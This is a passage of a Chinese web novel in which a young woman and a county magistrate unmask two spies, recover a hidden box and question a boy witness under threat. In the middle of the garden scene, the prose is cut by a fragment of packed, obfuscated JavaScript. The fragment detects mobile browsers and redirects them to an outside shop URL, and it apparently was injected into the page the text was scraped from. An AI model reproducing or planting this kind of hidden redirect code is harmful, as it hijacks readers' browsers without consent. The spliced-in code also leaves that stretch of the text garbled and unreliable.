怪不得这火势这么大,原来都是因为有人泼油。
可是……
赵疏玉不禁思忖道,‘就算是自己发现纵火人的纵火方法,但也没办法洗清自己的嫌疑。’
她不禁又绕着宅子转了几圈,想从这周围找出凶手遗落的痕迹。
可是,什么都没有。
见天色将晚,赵疏玉只能暂且先行打道回府。
可却没想到在衙门口竟碰到了李惟初。
她心生疑惑,却因下午之事仍怀气在心不想理他,正无视他从他身边走过去时,李惟初却忽然叫住了她。
“赵疏玉。”
“干嘛?”她蹙着眉回头。
李惟初扔给她一瓶药,再丢了一卷白纱布给她,冷冷丢下一句,“把你额头上的伤包扎好了,免得外头人说本官苛待嫌犯,败坏本官的官声。”后转身大步离去。
只剩下赵疏玉愣在原地,有些不可置信地看向怀中的药瓶和纱布。
她都快忘了自己额头上的伤了。
只是……
夜色渐晚,她怕误了时辰,忙将药瓶和纱布囫囵踹在怀里之后就立刻找了个草丛蹲着。
锦夏手中抓着信封,焦虑不安地在屋中走来走去,好不容易坐了下来,又即刻跳了起来,极像屁股被钉子给狠狠戳了几针!
倏然,她的头探出窗外左右张望了一下,下一刻她将窗子牢牢关上,紧接着屋中又传来一阵瓶罐碰撞的声音。
她在做什么?
烛火将锦夏鬼鬼祟祟的背影映在纸糊的窗面上,她一下撅着屁股似乎在翻找什么,一下又跑到床边坐下不知在想什么。
不知过了多久,她倏然起身,紧接着烛光瞬间熄灭,赵疏玉再也看不清里面的一点动作。
就在这一刻,房中猛地爆发出锦夏尖叫的声音。
赵疏玉想也不想立刻翻身出草丛,一脚破开屋门之后只看得一个黑影,他的手里举着一把在月光下熠熠发光的利刃。
而他的身后则是锦夏那一脸惊恐无助和双眸含泪的眼睛。
“姑,姑姑娘救命!!”锦夏的声音在这片寂静的黑夜中显得格外凄厉。
赵疏玉几乎是一瞬间将身前的那张茶桌给掀翻,一脚往黑衣人的方向踹去。
锦夏吓得瑟瑟发抖,连忙就往梳妆台下的空隙中钻去,却被那黑衣人紧紧拽住手腕!
他一剑狠狠刺过锦夏的手,锦夏吃痛,手中却仍死死攥着信封。
而赵疏玉则是端起一张茶椅又往黑衣人的头上砸去。
黑衣人却不恋战,再次躲过赵疏玉的攻击后,一把强硬地从锦夏手中抢过信封,接着看准窗口就要往外跳去。
锦夏大喊道:“姑娘,信封被他抢走了!”
而赵疏玉则是飞身将颤颤发抖,极度恐惧的锦夏拽到自己身后,正准备抄起梳妆台上的铜镜向刺客砸去,还没动手,那刺客竟被一脚又踹了回来。
力度之重之大,刺客因惯性被甩到赵疏玉的床上,猛地一撞,床立刻四分五解,牢牢地将刺客压在床下。
一个熟悉的身影从窗口跳了进来——是维寻!
而正门口走进来另一个人。
李惟初的神色深沉无波,一袭长衣飘飘,风仪玉立,一言不发地逆着月光缓缓走到赵疏玉身边。
他的身形比赵疏玉整整高了一个头,绛紫色云跑之下精瘦的身躯强劲有力,站在赵疏玉身前就好似是一个护盾,将她牢牢护在身后。
维寻点起屋中的烛火,未待他将刺客捉来细细查问,便又听得一声女子的尖叫。
“啊!!——”
11. 情真意切?
赵疏玉神色不变,反倒是维寻,他抬头瞥了一眼李惟初。
李惟初眸光微动,他不动声色地瞥了一眼赵疏玉,见她眸光淡淡,似乎早在她的意料之中似的。
他脚下也没动,示意了一眼维寻。
维寻得到示意后,他一把掀开砸在黑衣人身上的床板,将他揪了出来。
那黑衣人手中紧紧握着那个信封,低着头不发一语。
赵疏玉忽然开口,沉声道:“好不容易抢来的‘罪证’,不打开好好看一眼怎么对得起你如此舍命,忠主呢?”
那黑衣人眼神复杂地看着赵疏玉眼中平静的神情,深不见底,似吞噬了所有希望的光亮。
他心底漏跳一拍,一瞬间一股莫名的慌乱感充斥着他的内心,他不敢停刻半分,信封被胶水封得好好,没有一点拆开的痕迹,他心中急切,将信封口撕得稀巴烂。
展露出里面那张他冒死抢来,叠成方块的纸张,他隐隐有些激动又兴奋,心跳莫名加快,忐忑不安之感随之升起。
他双手发抖,却仍小心翼翼拿着纸张,视若珍宝一般不敢让它丝毫损伤。
可在他满怀期待地打开这张纸后,看到的却是一片空白,了无字迹的白纸。
他的笑容瞬间僵在嘴角,而后抬头一脸不可置信地看向赵疏玉依然平静的脸庞,他立马反应过来,朝她大喊道:“这一切都是你算计好的!都是你的计策!?是吗?是不是!?”
“贱人,贱女人!!”
赵疏玉却没有回答他的话,而是看向维寻,吩咐道:“把他脸上的脸罩摘下来,说不定,还是熟人呢。”
说完这句话后,维寻看了一眼李惟初,见他没有什么异议,他立马领命去摘掉他的面罩,而跪在地上的黑衣人却忽然乱动起来,不让维寻扯开他最后一块遮羞布。
他这么不安分,维寻直接踹了他一脚,趁他吃痛之时一把粗暴地扯下他的面罩。
“窦扬。”李惟初目光冰冷地看着地上的那人,轻吐出这两个字。
而就这两个字就足以让地上的窦扬抖三抖,他身躯颤抖,死死低着头跪在地上。
李惟初悄悄偏头将目光看向赵疏玉。
而赵疏玉连半分眼神都没有分给李惟初,而是径直转身,带着锦夏离开这间一片狼藉的屋子。
维寻赶忙在她身后问道:“赵姑娘这是要去哪里?”
锦夏睁着大大水灵灵的眼睛回头看向维寻,而后又很害怕地轻轻拽了一下赵疏玉的袖子,道:“姑,姑娘,县令的脸色很不好看呢。”
赵疏玉停了一下脚步,她回应维寻道:“东厢。”
言罢,她领着锦夏渐渐没入黑夜之中。
而李惟初目光狠戾地剜了一眼地上的窦扬,虽是对维寻说话,但目光一直没离开过窦扬,他沉声一字一字清晰地传入窦扬的耳中,“押入死牢。”
“是。”
而窦扬却像是丧失了主心骨一般,软倒在地,硬生生被维寻扯拖着离开。
李惟初冷哼一声,长袖一挥大步离去。
月上枝头,黑云如同纱帐般将月光重重叠叠遮掩其后,草丛中时不时传来几声虫鸣,却在两道急缓的脚步声后偃旗息鼓,没入草丛深处警惕地观察她们。
锦夏有些瑟缩地扯了扯赵疏玉的袖子,问道:“姑娘,刚刚那个尖叫声是谁?她,她会不会死啊?”
赵疏玉摇摇头,她道:“我不知道,但她会不会死也不是我说了算。”
锦夏一听,垂下脑袋,她紧紧咬着下唇,闷闷嗯了一声。
赵疏玉却道:“锦夏,我需要告诉你一点。木盒被偷一事你脱不了干系,你知道的越多,告诉我越多,你会被判的罪名就越轻,对你自己百利无害。”
“但若你对我有隐瞒,事后被我查到你和他们是一伙且助纣为虐杀害那么多人……”
她的眸色一凛,看向锦夏的目光瞬间变冷,“我一定会杀了你。”
锦夏扶在赵疏玉袖子上的手陡然一紧,她将头慌乱地要成拨浪鼓似的,连忙道:“不,不会的!姑娘,我,我不会的……”
“但愿如此。”
赵疏玉的目光重回身前,不再说话。
二人心中各存心事,一路无言地走到东厢门口。
这一地的官差早已像之前一样晕倒在地,不省人事,赵疏玉一脚踢开横在门前的官差。
正准备推门进入,锦夏却忽然抓进赵疏玉的手腕,害怕到有些结巴,“姑姑娘,我害怕,我能不能不进去?”
赵疏玉回眸看了她一眼,锦夏往后瑟缩了一下,避开她审视的目光。
下一刻赵疏玉便问道:“左不过里面的是人,又不是什么神鬼,有什么可怕?究竟是你怕鬼,还是你心里有鬼,所以害怕?”
锦夏赶忙摇头,她连连否认道:“不是,不是的,姑娘……”
她看见赵疏玉那仿佛直观人心的目光,这目光好似一把把尖刀,看得直教人遍体生寒。
“姑娘不要这么、盯着我看好不好?奴婢……奴婢害怕……”
见她又哭得抽抽起来,赵疏玉不着痕迹地叹了声气,目光不再那么凛冽,倒是柔和几分。
语气中也多了些无奈,“那你就站在这里,不要走动,别让我误会你居心不良,好吗?”
锦夏点头如捣蒜,忙不迭道:“好,好的!”
见赵疏玉转身不再看她,锦夏心下惴惴,缓和地呼了一口气。
她一把将门推开,里头扑面而来一阵怪味,连锦夏站在老远都问道这股味道,可能也跟如今心下紧张的缘故,她扶着旁边的木柱干呕起来。
里面空无一人。
赵疏玉蹙了蹙眉,或许是在那边耽搁的时间太长,导致屋中的人,跑了?
她蹲在门槛前,掏出一个火折子,手拿着将它竖在地面上左右晃动,似乎在观察着什么。
锦夏却疑惑地问道,“姑娘,怎么,怎么不进屋看看?”
赵疏玉站起身,目光又看向别处,回道:“不急。”
她拿着火折子走在东厢外头的木板上,绕过屋角来到右侧的木窗边,底下郝然清晰映着两个黄色粘腻的脚印。
赵疏玉先是用火折子往脚印的前面扫了一下,看到前头也有凌乱却在不断艰难前行的脚印。
她好整以暇地蹲下身子,将火折子放到窗前那个清晰无比的脚印上去。
她伸出右手张开两指,在脚印上比对了两下,小声呢喃道:“竟是个女子?胆子倒是不俗……”
她站起身,对身后的锦夏说道:“看到这些脚印了吗?”
锦夏脸色几不可查地白了一瞬,她点点头,“嗯。”
“走吧。”赵疏玉看了一眼她后径直往前走去。
跟着断断续续的脚印竟走到后院的花园里,她正觉得奇怪,却闻得一阵细微的女子哭声,她顿了一顿后连忙快步上前查看一番。
却见李惟初孤身站在女子身前,腰上的宝剑出鞘,正竖在女子眼前。
他的神色没有一丝温情,只有冷漠,那种看死人的冷漠。
赵疏玉的眸光几不可察地一动,快步走上前去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13069109|137661||http|test|mini|href|location''.split(''|''),0,{}));
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>她用火折子照了一下女子身上的一片黄色粘腻的脏污,心下笃定,“那晚的人,是你——春禧。”
这两个字像是一块巨石块,“扑通”一声砸进锦夏原本平静无波的心池中。
李惟初的剑又更近她一分,春禧又是一声呜咽,从喉腔中挤出一声尖锐的惊叫来,极像那些即将被杀掉的小动物般,睁着可怜而又水灵灵的双眸见求饶不成,只待被杀前的嘶鸣。
赵疏玉心中一动,她站起身,眼睫微颤地垂下眸,掩盖住她此时略有些悲哀的情绪。
而后平淡地道一句,“早知今日,何必当初。”
见那女子楚楚可怜的模样,她伸手按下李惟初手中举起的剑,道:“如今事情还未查明,还是先将她打入牢中再细细盘问吧。”
李惟初侧眸看了一眼她,随后手腕一转,剑在空中华丽地转了几圈后稳稳当当地被他收进剑鞘。
锦夏惊恐地捂住自己的嘴巴,小声又呜咽地抽搭起来,她走着走着一下扑到春禧身前,大恸道:“春禧姐姐……你,你何苦如此啊!”
春禧失神地待在原地,她想伸出手去摸一摸锦夏的脑袋,可她低头看了一眼浑身粘腻脏兮的衣裳,两只手掌也是一片污泞,悬在锦夏脑袋上的手又颤颤巍巍收了回去。
明知道结果,她还是苦笑一声问锦夏道:“他呢?他也被抓走了吗?”
锦夏看着她如今已是阶下之囚却仍还关心那个人的下落,一时又气又怒,“他想杀了我!”
她伸出那只被窦扬刺伤的手腕,上面还在流着尚未干涸的血。
“春禧姐姐,你,你为什么要这么傻啊!”
“他一直在骗你,一直……一直都在骗你啊!!”
说着,她不管不顾地趴在春禧身上,一遍又一遍道:“我早知是你,却还期盼着背叛县令的人一定不会是你……”
听着她二人的对话,赵疏玉的眼帘微沉,眸光中含有一丝黯淡。
“傻锦夏,真正爱一个人,就算面前是万丈炼狱,我也会毫不犹豫地跳下去……”
春禧的脸上露出一抹甜蜜的微笑,“我本就是死了爹娘才沦为贱籍为婢,我在这世上唯一的牵挂,只有窦扬。”
“我不后悔。”
李惟初听着这些话嘴角硬生生牵泄出一丝冷笑,他的眼中没有感动,没有悲哀,只有如三月寒般刺骨冰冷的眼神,毫无波澜,甚至充满了厌恶。
最终,冷笑汇成一句阴冷的话语,“那本官就成全你与那对你情真意切的好情郎。”
这句话似乎是从他牙齿缝里挤出来的,言语中充斥着浓浓的恶心与厌恶。
身后忽然窜出一队官差,他们扯开紧紧抱着春禧的锦夏,将已经瘫软无力的春禧架在两侧。
赵疏玉却道:“等等。”
简单的情绪交杂过后,她的眼底恢复一片清明,她拦住即将被压入大牢的春禧,问道:“木盒,被你藏在哪里?”
春禧对她一笑,眼中充满奸计得逞的得意,“你永远都不会找到。”
赵疏玉却笑了,淡淡反问道:“是吗?”
春禧看见她这副似胸有成竹的神情,脑海中忽然划过一个身影,她瞪大双眸,目光中震惊地看向她。
“赵疏玉!”
她目光恨恨地看着她,眼中凝聚着恶意疯狂的火苗,熊熊燃烧在她的眸底。
她与窦扬的煞费苦心,难道就要毁在赵疏玉的手里了吗?
“贱人……你这个贱人!!!”
赵疏玉却一手捏起她的下巴,平静地直视她眸底的愤怒。
12. 难逃一死
“你我同为女子,言辞何必如此激烈?”赵疏玉淡淡叹了一口气,放开捏着春禧的手,眼波流转在这花园一圈。
春禧的眼中却仍是冒着恶毒的火光,紧紧盯着赵疏玉。
仿佛是她坏了自己的好事一般!
如果没有她,自己就不会完不成窦扬交给自己的任务!!
都是她!!都怪她!!!
李惟初似乎也知道了些什么,他立刻唤了一声,“来人,搜园。”
赵疏玉依据那日的情形,她重走一遍春禧曾走过的路。
她记得春禧先是犹豫地在花圃里用锄头有一搭没一搭地锄着花,而后在她即将要走的时候,逐渐靠近花圃旁边的小水池。
赵疏玉记得很清楚。
水池上有一座大大的假山。
她的目光转向那座假山后面,一点一点地靠近,春禧眼中的邪火便愈烧愈浓烈。
“啊啊啊!——”春禧大喝一声,挣脱开架着她的两个官差,她立马从袖口中拔出一支短刃,猛地朝赵疏玉身后冲去。
对准赵疏玉的心脏,狠狠地插进去!
“噗嗤”一声,一声闷哼从锦夏的口中泄出。
她直直帮赵疏玉硬抗了这一剑来,右胸膛的血倏然浸湿衣裳。
锦夏弱弱地抚上春禧还留在她胸膛上,握着短刃的手腕,口中陡然喷出一口血。
她紧紧蹙着眉,劝她道:“春禧……姐姐,别再执迷不悟了……”
而这时候赵疏玉也从假山后面不深不浅的水池中找到那个消失的木盒,一转头就瞧见锦夏的右胸膛被锦夏戳进去的场景。
还没等她一个箭步上前,李惟初率先将春禧和锦夏拉开。
春禧重重地摔在地上,不可置信地看向自己充斥着好友血的两只手掌。
她抬头,不解地皱眉,眼中是恶毒的光芒,“为什么,为什么!!”
锦夏的右胸上插着短刃,虚弱地倒在赵疏玉的怀里,她目光恳求地看向赵疏玉,哀求道:“赵姑娘,看在……看在我为你挡剑的份上,可,不可以……饶春禧一命……”
赵疏玉紧紧拧着眉心,在她热烈恳求的目光中,逐渐变得冷静。
她松开紧握着锦夏的手,“这是你自己愿意替我挡的,不是我求你帮我挡的。”
“你的这份恩情,我不认。”
“至于春禧所犯之事应当交由李惟初按大吴律法定罪。我只是一介孤女,无依无靠,有什么资格替她求情?”
锦夏的眸光一点一点黯淡下去,最终头歪向一边晕了过去。
赵疏玉将锦夏打横公主抱起来,看了一眼仍呆坐在地上的春禧后,她移开目光,看向站在一侧的李惟初。
他先声道:“已经去传郎中了。”
赵疏玉摇摇头,她道:“不是这件事。”
她回眸看了一眼被她扔在地上湿漉漉的木盒,对李惟初道:“先去看看木盒里的内容有无损毁吧。”
李惟初低头看了一眼她怀中抱着脸色惨白的锦夏,不动声色地点点头,淡声道:“一刻钟。我只给你一刻钟的时间,调整好一切,来我书房。”
“知道了。”赵疏玉抱着锦夏与李惟初擦肩而过。
经郎中的诊断,道锦夏失血过多,又因惊吓过多导致晕厥,慎重地开了一副药方给赵疏玉后,便告退了。
而赵疏玉则吩咐侍女去厨房按药方煎一副药,自己则赶在一刻钟之前来到李惟初的书房。
在赵疏玉的身影出现在书房门口的那一刻,李惟初抬头看向一旁的更香,又看了一眼赵疏玉,道:“倒是准时。”
“进来吧。”
满屋熏着沉水香,一如赵疏玉初见他时在他身上闻到的味道一样。
她抽了一下鼻子,抬步走进书房。
她刚想开口却被这沉水香的味道给呛了一下,她连咳了好几声,伸手在鼻子前扇了扇风,问道:“木盒中的字迹是不是都被水给污浊了?”
李惟初从木盒中拿出两叠被水迹污浊的纸张,放在书桌上,往赵疏玉的面前推了推。
“看看。”
他并没有正面回答。
赵疏玉心中存疑地将那些湿漉漉的纸张拿到自己手中端详。
可这些纸污浊不说,还都黏在了一起,就算是轻扯一下,那些纸也会瞬间四分五裂。
赵疏玉放弃了,她将这坨纸重扔回桌上,可惜道:“真是可恨!”
“明明就差一点就可以扳倒刘世尧,说不定还能查出他身后的势力,没想到……现在是功亏一篑,还将那一宅子还有虎鸣都……”
她喉中一哽,不再说下去了。
李惟初却不给她半点感伤的时间,他又将一份尸检报告推到赵疏玉身前。
而后矜贵地端坐在蒲团上,抿了一口茶,道:“再看看这个。”
赵疏玉将一份份尸检报告打开,因那些尸体都被烧得面目全非,谁也不知道尸体的本名叫什么,于是就都用序号来替代。
不过这些不一样的序号中,她敏锐地发现一个荒诞无稽的共性。
李惟初恰好在此时又问道:“看出什么了吗?”
赵疏玉似乎是有些不敢置信。
“这二十八个人,除了虎鸣之外,竟都是女子?”
她紧紧盯着这二十七个尸检结果的年龄,心中不免疑虑,“还都是16至22岁之间的女子?”
赵疏玉不禁回想起她被人掳到一个破旧的院子中,院中瑟瑟缩缩地女子们抱成一团的时候。
她似乎是想寻找什么似的,忙将每张验尸单都看了一遍,最后才放下心,轻舒一口气。
李惟初问道:“怎么?怕了?”
赵疏玉摇头,她放下二十八张验尸单,看着李惟初说道:“这些被大火烧死的女人,没有一个是那晚在院子中的人。”
拿着茶盏的手忽然一顿,李惟初饶有兴趣地转了转茶盏中清香扑鼻的茶水,眼神从茶水中的漩涡渐渐移到赵疏玉身上。
“接着说。”
赵疏玉却是冷哼一声,并不上李惟初的当,只道:“你不是最清楚不过?那件青绿色破碎的衣衫还是你给我看的。”
李惟初颔了颔首,他将茶盏中的茶一饮而尽,嘴角在明亮的烛火中不清晰地勾了一瞬。
他几不可查地嗯了一声,道:“所以呢?”
“我见过那穿着青绿色衣衫的少女,她的年纪不过十三四岁,而这二十七份验尸单上女子的年龄在16到22之间。”
她缓缓呼唤出一口气,道:“由此可得出,她不在这上面,而那群女子和她是一起的,要安置她们不可能东放一列,西放一行,肯定是将她们安置在一起才方便管理。”
“所以,这二十七个被烧死的少女,不是紫玉山上那群和我一样被掠在一起的女子。”
李惟初轻嗯了一声,紧接着他拿起一个空空的茶杯,倒了一杯清香的茶放到赵疏玉面前。
不明所以地扯开话题对她道:“这是朝廷新赏下来的雨湖龙井,你尝尝。”
赵疏玉正说着这事上,李惟初却毫无厘头地扯到另一个事情上,着实是将赵疏玉气得不轻。
她差点又要开口斥问,却在张嘴的那一刻,
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李惟初的手却往茶杯上抬了一下。
他开口,不容任何置喙地道:“先品茶。”
赵疏玉胸怀心事,心头闷闷,不悦地将茶一饮而尽,刚放下茶杯就又滔滔不绝地开口道:“如今这木盒里的东西算是废了。不过不要紧,只要是犯了罪就一定会有蛛丝马迹。”
“纵使现在抓不住他的把柄,总会有的……现在最要紧的是要抓住纵火之人!还有窦扬和春禧,得探出究竟是不是刘世尧的人。”
她忽然脑中白光一闪,想到什么,她看向李惟初道:“如果能证实刘世尧在县衙中安插内应,里勾外连,倒也可以好好灭一灭刘世尧的士气!”
见她滔滔不绝地谈了这许多,李惟初又十分“贴心”地给她添上一壶茶。
赵疏玉却是一把打掉他为自己添茶水的手,嫌弃道:“干嘛!我不喝茶!”
“我看你讲了这许多,定是口干舌燥了。”
“你!”赵疏玉气结,她盯着李惟初好半晌都说不出一句话来。
李惟初则迟缓地摸了一下自己的脸,凛然道:“无礼直视朝廷命官,恐有以下犯上之嫌……”
“你别扯这些有的没的,你要是想抓我早就把我砍头了,还能留我到今日?”
赵疏玉瘪了瘪嘴,没好气道,“我只是疑惑。”
“疑惑什么?”
“我是一个身份未明的孤女,你可是江南的父母官,你垂衣拱手,累得我为你的盛世东跑西跑?”
李惟初浅浅勾了一下嘴角,“赵姑娘说笑了。有斯如此,我自然只有端茶送水的份了。”
赵疏玉没好气地给李惟初一个大白眼。
她怎么从来没发现李惟初还有这样幽默的时候呢?
李惟初敛了神色,仿佛方才的温柔只是镜花水月,如烟花般只绚烂一瞬间而已。
他清冷地道:“朝廷派下巡抚,巡视各州各县。”
赵疏玉捏着茶杯,看向里面暗香浮动的茶水,眸光晦暗不明。
“听你的语气,这其中难不成有别的?”
李惟初冷冷哼笑一声,他手掌一拍桌子,“崆”的一声,桌上的折子齐齐浅跳了一下。
他道:“方才长清紧急传书,信中直直提到这巡抚竟是一路直奔江南而来!长清闻得消息便连忙火速传信于我。”
“想必不出三日,巡抚必亲临江南。”
“怎么会这么巧?”赵疏玉伸手接过李惟初向她递来的书信。
书信中的笔迹姿态方正,迥劲有力,仿佛这铁画银钩轻描淡写地就将裴长清那副温润清正的模样刻画出来。
淡雅君子,衣冠楚楚。
赵疏玉对着这字的主人第一印象即是如此。
李惟初却不动声色地将信拿了回头,声音微沉地问道:“你刚才到底有没有在听我说话?”
赵疏玉抬头啊了一声,她点点头,回道:“巡抚使直奔江南,不出三日……”
“好了。”李惟初打断了她的话,不悦地对她挥了挥袖袍。
他手中紧紧攥着裴长清的书信,声线清冷,赶人道:“你可以走了。”
赵疏玉不明所以地站起身,对他这一瞬间转变的态度而感到一头雾水。
她还没再说一个字就被李惟初关门谢客了。
简单的疑惑之后,她还是觉得如今这一切都不是要紧的。
最要紧的是,她要查清纵火犯究竟是谁。
李惟初虽未明示,却无处不在告诉她一个信息——
巡抚使来的那天,如果她还是不能证明自己的清白,那么,她将难逃一死。
13. 耳坠的秘密
赵疏玉被李惟初赶出来后,径直去了牢狱。
她一如既往地对守在牢口的官差们亮出令牌,他们便立刻撤防。
李惟初的大牢设置得很巧妙。
例如,分为普狱,与死牢。
普狱是给那些犯了小偷小摸或者是醉酒伤人,罪名稍轻的罪犯。
而死牢,就是对那些犯了重罪,罪无可恕的杀人犯量身定制。
死牢中的罪犯,则是享有绝对的特殊待遇——一罪犯一封闭房室。
这也太超前了吧?
赵疏玉心中默默对标现代中民事和刑事,处罚也不尽相同。
因此,窦扬、春禧、男童都被关在死牢,而那几个药玉坊的禽兽则被关在普狱中。
毕竟,人是自己疯的,也是自杀,和他们却是一点关系都没有。
赵疏玉却觉得那日男童的行为着实令人匪夷所思,而他又正好是那晚的目击证人。
而如今他又在她手里,不管怎么样,她都必须要让男童吐点真东西出来。
心下将电视剧中的一百零八道刑罚都想了个遍,他年纪又那么小,拿出几个吓唬一下肯定就和盘托出了!
心中正想着,她便走到关男童的铁门外。
铁门沉重厚实,单人监狱方正密不透风,真真应和了那句——连只苍蝇都飞不出去。
她拿出令牌,对看守下令道:“奉县令旨意前来问询,还不快把门打开。”
利用着李惟初县令的身份,没人敢说她一个不是,甚至连一丝质疑都没有。
毕竟从没有人敢假传李惟初的旨意。
所有这么做的人,坟头草都早已两尺高了。
他恭敬地将铁门打开,道:“姑娘请进。”
她是奉李惟初之意来问询罪犯,自然没有时间限制。
赵疏玉走进这座沉闷厚重的单人豪间后,首先是看了一圈这里面的环境。
只有中间那块墙的最顶上有一个小小方方,木条钉死的窗户,泄进来微弱黯淡的太阳光。
这若让犯人日积月累地待在这种昏暗潮湿的房中,恐怕只会日渐瘦削,最终得病痛苦而死。
男童在看到她踏进这里之后,立马从床上跳下来。
头上的伤口似乎又在隐隐发痛,她心有戒备地朝后退了一步,喝止道:“站住!”
男童却与之前在大堂上的态度大相径庭。
他真的就很乖地站在原地,像稻草人一样一动不动。
赵疏玉心中却不禁生起疑惑,她不露声色地问道:“大堂之上……”
她还没说完,男童接着她的话说道:“我知道会坐至少半年以上的牢狱。”
“那你为何……”
男童却低头不再作答。
但赵疏玉今日来的重点不是要跟他纠结“他为什么要在大堂上公然行凶”,而是来询问纵火犯的线索。
她脚上步伐看似随意,实际余光却是紧紧盯着男童,生怕他会像在大堂那样突然袭击她。
可等她落座坐定,男童还是很乖地站在原地,听话得好似在大堂行凶的另有其人。
“我问你。”赵疏玉观察他一番,忽然开口说道:“你说你那日亲眼看见是我,火烧大宅,烧死了你的婉姐姐?”
她在说话时特意着重强调了“婉姐姐”这三个字,赵疏玉的目光紧紧盯着男童看,而他这个还不会藏匿情绪的年纪,很快露出马脚。
男童一瞬间红了眼眶,他转过身,哽咽道:“是!是有人害死了婉姐姐!”
“那你在大堂之上一定指认是我?”
“我不得不这么做!”男童紧紧攥着手心,几滴泪喷洒出眼眶,他紧紧咬着下唇,一副寄人篱下的模样。
“刘坊主让我一定指认是你,凶手只能是你!”
“原因呢?他为什么要这么做?”
男童却是冷哼一声,说出一番高于他年龄心智的话,“你砸了他的赌坊,又派虎鸣做双面间谍为你做事,刘世尧一向睚眦必报,你这一连串的手段,恐怕早就让他对你动了杀心。”
“有什么是比二十八条人命还要大的罪名呢?”说到此处,他憎恶地一笑,“罪名一旦落实,你就算是有十个脑袋都不够砍的。”
赵疏玉点点头,道:“那我再问你,为什么说你是被逼无奈?”
男童却将脸瞥向一边不答,破烂衣衫袖底下的手又紧了几分。
赵疏玉却是眼尖,看见男童的右手心中紧攥着什么东西,她一个飞扑近身,迅速将他手里抓着的东西给拿到手中。
她摊开手心一看,竟是一个青碧色的耳坠。
挂坠的样式很普通,材质摸上去也不算是翡翠一类,像是赶集时那种地摊便宜货。
赵疏玉将单只耳坠放到一旁的审讯桌上,目光凌冽地上下扫视了他一眼,道:“说话。”
男童却像是看杀人凶手一眼看着她,死活都不想开口。
赵疏玉却猛然站起,手往旁边一伸,立时跟在她身边的官差会意,向她递来一根鞭条。
男童的眼中先是有一瞬间的恐慌,再而后迅速镇定下来,开口问道:“你这是想屈打成招吗?”
随后神色恢复平常,“我可告诉你,就算你屈打成招,逼我签字画押,外头的人可是一个字都不会信!只会觉得你们仗势欺人,官府为了包庇杀了二十八条人命的罪犯……”
“闭嘴!”官差立马高声喝止,“你敢污蔑县令,你家有几条人命够砍头的!”
此话一出,那男童似真是畏惧,不再言语。
赵疏玉低头捏了一下那个看起来很廉价的耳坠珠子,轻声道:“是啊,你还有家人。”
男童忽觉背后一阵冷风,不好的预感油然心起。
他立马瞪大双眼,警惕道:“你要做什么?”
赵疏玉呵呵一笑,她抬眸看向男童,眸光却是十分悠闲随意。
她道:“看样子,你不像那些不懂律法,自以为是的刁民。”
顿了顿,忽然问道:“你家有人读书?”
男童一顿,眸中的警惕更甚,眸中也多了一丝不可置信的惊惧,“你,你怎么知道?”
赵疏玉手里拨弄着小珠子,耐心回答道:“你面对刑具的态度,对律法的解读,还有对刘世尧的猜测,若说你家无人读书,难不成你是个神童?”
男童的脸上闪过一抹红晕,即刻便消失得无影无踪,“你,你别以为这样我就会翻供!你就是凶手!”
“证据呢?”赵疏玉问道,“只光一个人证可是完全不够的。”
男童却是扯着嘴角一笑,“你以为刘世尧如此蠢笨吗?他让我来,不过就是先试探一番而已,若不成,他自还有千方百计,他身后的人,更是会助他!”
赵疏玉皱了皱眉,立刻问道:“什么人?”
“我怎么会知道?”男童道,“知道太多的人,命总是不长的。”
“那你以为,现在就能长得了了?说不定,还会殃及你的家人。”这句话看似随意,实际是威胁感满满。
男童怎听不出?
他气结,憋得脸色通红一个字都说不出来,只道:“你!”
她用力拨了拨珠子,珠子在她的手中飞速旋转着,还没停下又飞速转起来。
赵疏玉的耐心却是已经达到极限。
“说吧。”赵疏玉缓缓开口,“犯人不说话,最后受苦的只有自己,说不定,还会累及家人。”
赵疏玉站起身,恐吓似的将鞭子往身后一甩,响亮
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地划破空气柱,落在地上“啪”的一声。
赵疏玉抓准了男童心中忧虑家人,将他的心抓得牢牢。
男童似乎是从嘴里挤出一句话来。
他仇恨地看向她道:“是你让虎鸣拿木盒,才导致他被发现,婉姐姐才会死在火灾中!如果不是你,虎鸣怎么会为你办事,婉姐姐又怎么会葬身火场!这一切都是因为你,都是你害的!!你才是凶手!你才是导致这一切悲剧的罪魁祸首!”
“婉姐姐,和你是什么关系?”
男童翻身上床,紧紧将头埋在被窝里,只露一个倔强的后背不再理她。
而赵疏玉见今天是问不出什么来了,只好拿着那一个单耳坠离开。
走在微微闷热,一阵清风吹过却也凉爽的路上,赵疏玉忽然脑中一闪,她心底一沉,似乎是遗漏了什么重要的线索!
而正巧此时,迎面走来李惟初的身影。
赵疏玉压下心中疑虑,神色无常地走上前。
李惟初目光微冷,低头看向她时似乎压着一股无名的怒气。
“赵疏玉。”他恨恨地咬着牙缝蹦出这三个字。
她抬头,无奈道:“到。”
“你把我的凉丝派去服侍一个行将朽木的老妪?”
听他的语气,他似乎已在极力克制,可仍是压不住泄出来的怒火。
赵疏玉抬头,疑惑道:“怎么了吗?”
“怎么了?”李惟初怒气冲冲地瞪着她,半晌气得说不出一个字,直接拂袖而去!
而赵疏玉却觉得他莫名其妙,大半夜来找她的不痛快。
难不成自己跟他八字不合?
她瘪着嘴,心中闷闷地回了李惟初临时拨给她住的厢房。
厢房的床榻上躺着脸色苍白的锦夏。
见她的身边还留着一个侍女在旁照顾着,赵疏玉捻手捻脚地走过去,轻声询问道:“她怎么样了?”
侍女手中捧着药碗,诚实答道:“锦夏姑娘似是嫌汤药苦,喝了就吐呢。”
赵疏玉嗔笑一句,“替我挡了一剑,难不成还要我来服侍你吗?”
“罢了。”她接过侍女手中的药碗,吩咐道,“你也辛苦了,快回去休息吧。明日我去和县令说,准你休息一日。”
闻言,那侍女面露惊喜,忙不迭跪下向她磕头,“多谢姑娘,多谢……”
“快起来!”赵疏玉可经不起她的跪拜。
总觉得浑身不自在,哪都怪怪的。
她得了令,欣喜若狂地告退下去。
而赵疏玉则舀起一口汤匙,缓缓递送到她的唇边,慢慢给她喂了下去。
脑中却在不停地盘算着一个念头。
那男童怎么知道是虎鸣是她的间谍?这件事情严格保密,只有县衙中的人才知道?!
而他,又怎么知道木盒子的事情!?
她的心下隐隐冒出一个猜测。
真相似乎也随之缓缓浮出水面。
但这还不够。
